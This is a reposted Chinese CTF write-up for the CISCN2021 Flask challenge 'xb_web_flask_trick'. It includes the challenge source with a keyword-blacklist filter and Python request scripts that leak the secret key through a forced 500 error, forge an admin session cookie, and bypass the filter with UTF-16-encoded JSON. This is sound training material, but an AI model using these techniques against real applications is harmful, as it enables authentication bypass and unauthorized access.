CISCN2021 西北赛区分区赛 Web xb_web_flask_trick

Posted bfengj

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CISCN2021 西北赛区分区赛 Web xb_web_flask_trick相关的知识,希望对你有一定的参考价值。

前言

6.5号去了兰州打了分区赛,4道Web出了web1和web4,web2和web3都不会。这题flask是web3,讲道理对我这种对flask不熟悉的弟弟来说还是挺难的,比赛的时候只有西电的一个队伍出了。今天晚上在学长的帮助下终于出了这道题,也是学到了很多的东西。

源码

import os
from flask import Flask, request, abort, session

app = Flask(__name__)

app.config["SECRET_KEY"] = os.urandom(32)


def getflag1():
    return "flag{test_"
def getflag1():
    return "_flag}"

@app.errorhandler(500)
def error(error):
    return app.config["SECRET_KEY"]

@app.before_request
def waf():
    if request.method == "POST":
        blacklist = [b"request",b"Flask",b"admin",b"app",b"import",b"os",b"system",b"eval",b"exec",b"popen",b"file",b"class",
                     b"mro",b"g",b"get",b"\\\\",b"open",b"read",b"built"]
        print(request.content_type)
        # print(b"|"+request.get_data()+b"|")
        if request.get_data() == b"":
            return None
        if request.content_type == "multipart/form-data":
            abort(403)
        elif request.content_type == "application/json" :
            data = request.get_data().decode("unicode_escape")
            if "admin" in data or "\\\\" in data:
                abort(403)
        elif request.content_type == "application/x-www-form-urlencoded":
            data = request.get_data()
            if b"%" in data:
                abort(403)
        else:
            data = request.get_data()
            print(data)
            for i in blacklist:
                if i in data:
                    print(i)
                    print(data)
                    abort(403)
    return None



@app.route("/1",methods=["POST"])
def flag1():
    try:
        data = request.get_json()
        if data["username"] == session["username"] == "admin" :
            return getflag1()
    except Exception as e:
        return str(e)

@app.route("/2",methods=["POST"])
def flag2():
    try:
        data = request.form
        if data["username"] == session["username"] == "admin":
            return getflag1()
    except Exception as e:
        return str(e)


app.run(host="0.0.0.0")

不过我总觉得这个源码应该是有问题的,这样看的话其实只能得到一半的flag,应该真正的是一个是getflag1,一个是getflag2
当时比赛的时候发现这个源码扔本地就能直接跑,所以就在本地调试,但是也没出,还是对python和flask不太熟啊。而且也是线下,查不到资料,有时候没有思路的话真的就只能干坐着。

WP

一共2个路由,分别得到一半的flag。第二个路由的思路比较简单,所以先从第二个路由那开始。

路由2

        data = request.form
        if data["username"] == session["username"] == "admin":
            return getflag1()
    except Exception as e:
        return str(e)

取的是request.form,当时线下没网,我也不清楚request.form,但是还是出了。现在查一下:

request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)

可以看到multipart/form-data被ban了,所以只能applicaation/x-www-form-urlencoded

        if request.content_type == "multipart/form-data":
            abort(403)

而巧合的就是application/x-www-form-urlencoded没有把admin给ban掉:

        elif request.content_type == "application/x-www-form-urlencoded":
            data = request.get_data()
            print(data)
            if b"%" in data:
                abort(403)

所以可以直接打。但是1和2都要绕的就是session['username']='admin'。2种办法当时线下我都没想到,1个就是拿flask的session伪造的脚本来跑那个伪造的session,但是我当时电脑里没这个脚本。第二种方法就是本地搭建flask,然后给session赋值来得到。
但是这2种都需要先得到SECRET_KEY。源码中是这样的:

app.config["SECRET_KEY"] = os.urandom(32)

@app.errorhandler(500)
def error(error):
    return app.config["SECRET_KEY"]

怎么得到500响应码,让程序返回SECRET_KEY也是件难事。学长说可以这样:
在这里插入图片描述

成功500响应码得到SECRET_KEY。不过因为是乱码,所以拿python来得到:

import requests


url="http://192.168.245.1:5000/1"
data='{"1":"\\\\u"}'
headers={
    "Content-Type": "application/json"
}
r=requests.post(url=url,data=data,headers=headers)
print(r.text.encode())

可以得到:

b'\\xef\\xbf\\xbd\\xef\\xbf\\xbds\\xef\\xbf\\xbd\\xef\\xbf\\xbd\\xef\\xbf\\xbdx\\x14\\xef\\xbf\\xbd\\xef\\xbf\\xbd`\\xef\\xbf\\xbdi\\xef\\xbf\\xbdc/\\xef\\xbf\\xbd\\xef\\xbf\\xbd\\xef\\xbf\\xbd\\xef\\xbf\\xbd\\x1b\\xef\\xbf\\xbd\\xef\\xbf\\xbd:\\x1a\\x13?}?\\x13\\x1dY'

然后在本地开个flask,伪造一下session:

app.config["SECRET_KEY"]=b'\\xef\\xbf\\xbd\\xef\\xbf\\xbds\\xef\\xbf\\xbd\\xef\\xbf\\xbd\\xef\\xbf\\xbdx\\x14\\xef\\xbf\\xbd\\xef\\xbf\\xbd`\\xef\\xbf\\xbdi\\xef\\xbf\\xbdc/\\xef\\xbf\\xbd\\xef\\xbf\\xbd\\xef\\xbf\\xbd\\xef\\xbf\\xbd\\x1b\\xef\\xbf\\xbd\\xef\\xbf\\xbd:\\x1a\\x13?}?\\x13\\x1dY'

@app.route("/3",methods=["POST"])
def flag3():
    session['username']="admin"

在这里插入图片描述
然后带上session即可:
在这里插入图片描述

路由1

路由1其实说难也不难,主要就是构造的问题。当时比赛的时候给了hint:看源码。但是对于python还是不熟,所以就没能跟到。

@app.route("/1",methods=["POST"])
def flag1():
    try:
        data = request.get_json()

跟进一下get_json()的源码:

    def get_json(self, force=False, silent=False, cache=True):
        """Parse :attr:`data` as JSON.

        If the mimetype does not indicate JSON
        (:mimetype:`application/json`, see :meth:`is_json`), this
        returns ``None``.

        If parsing fails, :meth:`on_json_loading_failed` is called and
        its return value is used as the return value.

        :param force: Ignore the mimetype and always try to parse JSON.
        :param silent: Silence parsing errors and return ``None``
            instead.
        :param cache: Store the parsed JSON to return for subsequent
            calls.
        """
        if cache and self._cached_json[silent] is not Ellipsis:
            return self._cached_json[silent]

        if not (force or self.is_json):
            return None

        data = self._get_data_for_json(cache=cache)

        try:
            rv = self.json_module.loads(data)
        except ValueError as e:
            if silent:
                rv = None

                if cache:
                    normal_rv, _ = self._cached_json
                    self._cached_json = (normal_rv, rv)
            else:
                rv = self.on_json_loading_failed(e)

                if cache:
                    _, silent_rv = self._cached_json
                    self._cached_json = (rv, silent_rv)
        else:
            if cache:
                self._cached_json = (rv, rv)

        return rv

注意到rv = self.json_module.loads(data),继续跟进:

    @staticmethod
    def loads(s, **kw):
        if isinstance(s, bytes):
            # Needed for Python < 3.6
            encoding = detect_utf_encoding(s)
            s = s.decode(encoding)

        return _json.loads(s, **kw)

发现对传入的字节可能要进行解码,跟进detect_utf_encoding(s)

def detect_utf_encoding(data):
    """Detect which UTF encoding was used to encode the given bytes.

    The latest JSON standard (:rfc:`8259`) suggests that only UTF-8 is
    accepted. Older documents allowed 8, 16, or 32. 16 and 32 can be big
    or little endian. Some editors or libraries may prepend a BOM.

    :internal:

    :param data: Bytes in unknown UTF encoding.
    :return: UTF encoding name

    .. versionadded:: 0.15
    """
    head = data[:4]

    if head[:3] == codecs.BOM_UTF8:
        return "utf-8-sig"

    if b"\\x00" not in head:
        return "utf-8"

    if head in (codecs.BOM_UTF32_BE, codecs.BOM_UTF32_LE):
        return "utf-32"

    if head[:2] in (codecs.BOM_UTF16_BE, codecs.BOM_UTF16_LE):
        return "utf-16"

    if len(head) == 4:
        if head[:3] == b"\\x00\\x00\\x00":
            return "utf-32-be"

        if head[::2] == b"\\x00\\x00":
            return "utf-16-be"

        if head[1:] == b"\\x00\\x00\\x00":
            return "utf-32-le"

        if head[1::2] == b"\\x00\\x00":
            return "utf-16-le"

    if len(head) == 2:
        return "utf-16-be" if head.startswith(b"\\x00") else "utf-16-le"

    return "utf-8"

可以发现这个request.get_json()会自带对传入的数据进行相应的解码,而waf是这样:

        elif request.content_type == "application/json" :
            data = request.get_data().decode("unicode_escape")
            if "admin" in data or "\\\\" in data:
                abort(403)

在这里插入图片描述
这里的waf是对request.get_data().decode("unicode_escape")之后的进行过滤,而我们传入的在get_json()中可以通过非utf-8解码来得到admin,从而绕过admin的waf。
攻击:

import requests

print('{"username":"admin"}'.encode("utf-16"))


url="http://192.168.245.1:5000/1"
data=b'\\xff\\xfe{\\x00"\\x00u\\x00s\\x00e\\x00r\\x00n\\x00a\\x00m\\x00e\\x00"\\x00:\\x00"\\x00a\\x00d\\x00m\\x00i\\x00n\\x00"\\x00}\\x00'
#data='{"username":"\\\\u"}'
headers={
    "Cookie":"session=eyJ1c2VybmFtZSI6ImFkbWluIn0.YL4kqA.XDtgpnjkSuVsrDQbCbKXnR1P6i4;",
    "Content-Type": "application/json"
}
r=requests.post(url=url,data=data,headers=headers)
print(r.text.encode())

在这里插入图片描述
从而得到完整的flag。学到了学到了。

以上是关于CISCN2021 西北赛区分区赛 Web xb_web_flask_trick的主要内容,如果未能解决你的问题,请参考以下文章

ciscn2021 西北分区赛部分pwn

ciscn2021 西北分区赛部分pwn

[CISCN2019 华东南赛区]Web11

ciscn2021西北部分pwn

ciscn2021西北部分pwn

ciscn2021西北部分pwn